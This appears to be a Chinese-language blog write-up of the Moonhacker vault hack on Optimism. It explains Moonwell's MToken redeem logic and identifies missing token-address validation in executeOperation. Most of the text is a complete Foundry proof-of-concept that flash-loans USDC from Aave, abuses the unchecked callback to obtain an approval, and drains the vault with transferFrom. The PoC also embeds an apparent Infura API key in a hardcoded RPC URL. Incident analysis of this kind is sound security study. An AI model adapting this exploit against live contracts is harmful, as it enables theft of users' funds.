- redeemAmountIn: 用户希望赎回的底层资产数量。如果此参数大于零,则表示用户指定了要赎回的底层资产数量。
/**
* @notice User redeems mTokens in exchange for the underlying asset
* @dev Assumes interest has already been accrued up to the current block
* @param redeemer The address of the account which is redeeming the tokens
* @param redeemTokensIn The number of mTokens to redeem into underlying (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @param redeemAmountIn The number of underlying tokens to receive from redeeming mTokens (only one of redeemTokensIn or redeemAmountIn may be non-zero)
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemFresh(
address payable redeemer,
uint redeemTokensIn,
uint redeemAmountIn
) internal returns (uint) {
require(
redeemTokensIn == 0 || redeemAmountIn == 0,
"one of redeemTokensIn or redeemAmountIn must be zero"
);
RedeemLocalVars memory vars;
/* exchangeRate = invoke Exchange Rate Stored() */
(
vars.mathErr,
vars.exchangeRateMantissa
) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED,
uint(vars.mathErr)
);
}
/* If redeemTokensIn > 0: */
if (redeemTokensIn > 0) {
/*
* We calculate the exchange rate and the amount of underlying to be redeemed:
* redeemTokens = redeemTokensIn
* redeemAmount = redeemTokensIn x exchangeRateCurrent
*/
if (redeemTokensIn == type(uint).max) {
vars.redeemTokens = accountTokens[redeemer];
} else {
vars.redeemTokens = redeemTokensIn;
}
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(
Exp({mantissa: vars.exchangeRateMantissa}),
vars.redeemTokens
);
if (vars.mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
uint(vars.mathErr)
);
}
} else {
/*
* We get the current exchange rate and calculate the amount to be redeemed:
* redeemTokens = redeemAmountIn / exchangeRate
* redeemAmount = redeemAmountIn
*/
if (redeemAmountIn == type(uint).max) {
vars.redeemTokens = accountTokens[redeemer];
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(
Exp({mantissa: vars.exchangeRateMantissa}),
vars.redeemTokens
);
if (vars.mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo
.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
uint(vars.mathErr)
);
}
} else {
vars.redeemAmount = redeemAmountIn;
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(
redeemAmountIn,
Exp({mantissa: vars.exchangeRateMantissa})
);
if (vars.mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo
.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
uint(vars.mathErr)
);
}
}
}
/* Fail if redeem not allowed */
uint allowed = comptroller.redeemAllowed(
address(this),
redeemer,
vars.redeemTokens
);
if (allowed != 0) {
return
failOpaque(
Error.COMPTROLLER_REJECTION,
FailureInfo.REDEEM_COMPTROLLER_REJECTION,
allowed
);
}
/* Verify market's block timestamp equals current block timestamp */
if (accrualBlockTimestamp != getBlockTimestamp()) {
return
fail(
Error.MARKET_NOT_FRESH,
FailureInfo.REDEEM_FRESHNESS_CHECK
);
}
/*
* We calculate the new total supply and redeemer balance, checking for underflow:
* totalSupplyNew = totalSupply - redeemTokens
* accountTokensNew = accountTokens[redeemer] - redeemTokens
*/
(vars.mathErr, vars.totalSupplyNew) = subUInt(
totalSupply,
vars.redeemTokens
);
if (vars.mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
uint(vars.mathErr)
);
}
(vars.mathErr, vars.accountTokensNew) = subUInt(
accountTokens[redeemer],
vars.redeemTokens
);
if (vars.mathErr != MathError.NO_ERROR) {
return
failOpaque(
Error.MATH_ERROR,
FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
uint(vars.mathErr)
);
}
/* Fail gracefully if protocol has insufficient cash */
if (getCashPrior() < vars.redeemAmount) {
return
fail(
Error.TOKEN_INSUFFICIENT_CASH,
FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE
);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write previously calculated values into storage */
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
/* We emit a Transfer event, and a Redeem event */
emit Transfer(redeemer, address(this), vars.redeemTokens);
emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
/* We call the defense hook */
comptroller.redeemVerify(
address(this),
redeemer,
vars.redeemAmount,
vars.redeemTokens
);
/*
* We invoke doTransferOut for the redeemer and the redeemAmount.
* Note: The mToken must handle variations between ERC-20 and GLMR underlying.
* On success, the mToken has redeemAmount less of cash.
* doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.
*/
doTransferOut(redeemer, vars.redeemAmount);
return uint(Error.NO_ERROR);
}
其实流程也很清晰
- 调用exchangeRateStoredInternal 获取汇率
- 如果用户指定了要赎回的 mToken 数量 (redeemTokensIn > 0): 计算相应的可以赎回的底层资产数量(redeemAmount):
* We calculate the exchange rate and the amount of underlying to be redeemed:
* redeemTokens = redeemTokensIn
* redeemAmount = redeemTokensIn x exchangeRateCurrent
- 如果用户指定了要赎回的底层资产数量 (redeemAmountIn > 0):计算用户需要赎回多少 mToken 才能获得指定的底层资产数量:
* We get the current exchange rate and calculate the amount to be redeemed:
* redeemTokens = redeemAmountIn / exchangeRate
* redeemAmount = redeemAmountIn
*/
- 检查赎回是否允许:主要是检查用户的 mtoken 是否支持要赎回的相应数量
- 计算赎回后的总供应量和用户的新余额:
- TotalSupply 是当前市场中所有 mToken 的总供应量,赎回后总供应量应该减少。
(vars.mathErr, vars.totalSupplyNew) = subUInt(
totalSupply,
vars.redeemTokens
);
- AccountTokens[redeemer] 是用户当前持有的 mToken 数量,赎回后需要减少。
(vars.mathErr, vars.accountTokensNew) = subUInt(
accountTokens[redeemer],
vars.redeemTokens
);
- 确保协议有足够的现金和更新状态
漏洞利用
漏洞点在于executeOperation 函数中对于 token 地址没有校验、导致可以传递恶意合约地址

漏洞利用也很清晰了
- 首先闪电贷足够的数量,然后调用repayBorrow 偿还 Moonhacker 的借款
- 然后调用调用 redeem 赎回 Mtoken 资产。
- 然后调用 executeOperation ,operation 为 SUPPLY,将 token 设置为恶意合约地址,这样 moonhacker 会通过 approve 直接授权恶意合约totalSupplyAmount 数量的 token ,
- 最后直接transferFrom 掏空 Moonhacker 池子里的 USDC 即可。
// SPDX-License-Identifier: UNLICENSED
pragma solidity
{ #0}
.8.15;
import "../basetest.sol";
import "../interface.sol";
// @KeyInfo - Total Lost : 318.9 k
// Attacker : https://optimistic.etherscan.io/address/0x36491840ebcf040413003df9fb65b6bc9a181f52
// Attack Contract1 : https://optimistic.etherscan.io/address/0x4e258f1705822c2565d54ec8795d303fdf9f768e
// Attack Contract2 : https://optimistic.etherscan.io/address/0x3a6eaaf2b1b02ceb2da4a768cfeda86cff89b287
// Vulnerable Contract : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847
// Attack Tx : https://optimistic.etherscan.io/tx/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe
// @Info
// Vulnerable Contract Code : https://optimistic.etherscan.io/address/0xd9b45e2c389b6ad55dd3631abc1de6f2d2229847#code (MoonHacker.sol)
// Mtoken code : https://optimistic.etherscan.io/address/0xA9CE0A4DE55791c5792B50531b18Befc30B09dcC#code (MToken.sol)
// Mtoken docs : https://docs.moonwell.fi/moonwell/developers/mtokens/contract-interactions
// @Analysis
// On-chain transaction analysis: https://app.blocksec.com/explorer/tx/optimism/0xd12016b25d7aef681ade3dc3c9d1a1cc12f35b2c99953ff0e0ee23a59454c4fe
// Post-mortem : https://blog.solidityscan.com/moonhacker-vault-hack-analysis-ab122cb226f6
// Twitter Guy : https://x.com/quillaudits_ai/status/1871607695700296041
// Hacking God : https://x.com/CertiKAlert/status/1871347300918030409
interface IMusdc {
function borrowBalanceCurrent(address account) external returns (uint);
function getAccountSnapshot(address account) external returns (uint, uint, uint, uint);
}
interface IMoonhacker {
function executeOperation(
address token,
uint256 amountBorrowed,
uint256 premium,
address initiator,
bytes calldata params
) external;
}
contract Moonhacker is BaseTestWithBalanceLog {
uint256 blocknumToForkFrom = 129_697_251 - 1;
IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
IMusdc mUSDC = IMusdc(0x8E08617b0d66359D73Aa11E11017834C29155525);
IMoonhacker moonhacker = IMoonhacker(0xD9B45e2c389b6Ad55dD3631AbC1de6F2D2229847);
IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);
function setUp() public {
// You may need to change "optimism" to your own rpc url
// vm.createSelectFork("optimism", blocknumToForkFrom);
vm.createSelectFork("https://optimism-mainnet.infura.io/v3/3114f26b0b814b5881d86af336b2be9b", blocknumToForkFrom);
fundingToken = address(USDC);
vm.label(address(USDC), "USDC");
vm.label(address(mUSDC), "mUSDC");
vm.label(address(moonhacker), "moonhacker");
vm.label(address(aaveV3), "AAVE V3");
}
function testExploit() public balanceLog {
Attacker attacker = new Attacker();
attacker.attack();
attacker.getProfit();
}
}
contract Attacker {
IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
IMusdc mUSDC = IMusdc(0x8E08617b0d66359D73Aa11E11017834C29155525);
IMoonhacker moonhacker = IMoonhacker(0xD9B45e2c389b6Ad55dD3631AbC1de6F2D2229847);
IERC20 USDC = IERC20(0x0b2C639c533813f4Aa9D7837CAf62653d097Ff85);
function attack() public {
console.log(USDC.balanceOf(address(this)));
// Start the flashloan
// address rewardDistributor = moonhacker.
uint256 borrowBalance = mUSDC.borrowBalanceCurrent(address(moonhacker));
console.log("borrowBalance: %d", borrowBalance);
aaveV3.flashLoanSimple(address(this), address(USDC), 883_917_967_954, new bytes(0), 0);
}
// Called back by AAVE V3
function executeOperation(
address asset,
uint256 amount,
uint256 premium,
address initator,
bytes calldata params
) external returns (bool) {
// The actual exploit called 4 times
// for (uint i = 0; i < 4; i++) {
redeem();
returnFunds();
// }
USDC.approve(address(aaveV3), amount + premium); // Approve AAVE V3 to repay the flashloan
return true;
}
// Make moonhacker redeem USDC from mUSDC
function redeem() public {
// Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
uint256 borrowBalance = mUSDC.borrowBalanceCurrent(address(moonhacker));
console.log("borrowBalance: %d", borrowBalance);
// Get moonhacker's mTokenBalance, borrowBalance, and exchangeRateMantissa
(, uint256 mTokenBalance,,) = mUSDC.getAccountSnapshot(address(moonhacker));
console.log("borrowBalance: %d", mTokenBalance);
// Give moonhacker USDC to repay
USDC.transfer(address(moonhacker), borrowBalance);
uint8 operationType = 1; // REDEEM
bytes memory encodedRedeemParams = abi.encode(operationType, address(mUSDC), mTokenBalance);
// IERC20(token).approve(mToken, amountBorrowed) => IERC20(USDC).approve(mUSDC, borrowBalance);
// IMToken(mToken).repayBorrow(amountBorrowed) => IMToken(mUSDC).repayBorrow(borrowBalance)
// IMToken(mToken).redeem(amountToSupplyOrReedem) => IMToken(mUSDC).redeem(mTokenBalance)
// Get more USDC back by repaying and redeeming
moonhacker.executeOperation(address(USDC), borrowBalance, 0, address(this), encodedRedeemParams);
}
// Get back the USDC from moonhacker to attacker contract
function returnFunds() public {
uint256 moonhackerUSDCBalance = USDC.balanceOf(address(moonhacker));
uint8 operationType = 0; // SUPPLY
bytes memory encodedReturnParams = abi.encode(operationType, address(this), 0);
// IERC20(token).approve(mToken, totalSupplyAmount);
// IERC20(USDC).approve(address(this), moonhackerUSDCBalance);
// Approve USDC to attacker contract
moonhacker.executeOperation(address(USDC), moonhackerUSDCBalance, 0, address(this), encodedReturnParams);
USDC.transferFrom(address(moonhacker), address(this), moonhackerUSDCBalance);
}
// Cheat moonhacker to pass the check (SUPPLY part)
function mint(uint256 amount) public pure returns (uint8) {
return 0;
}
// Cheat moonhacker to pass the check (SUPPLY part)
function borrow(uint256 amount) public pure returns (uint8) {
return 0;
}
function getProfit() public{
uint256 profit = USDC.balanceOf(address(this));
USDC.transfer(msg.sender, profit);
}
}测试发现资金对不上,攻击完只获利了 10 w 多刀。

查看链上分析,发现存在漏洞的moonhacker 合约一共被部署了 4 个,所以一共能够获利 30 多 w 刀。
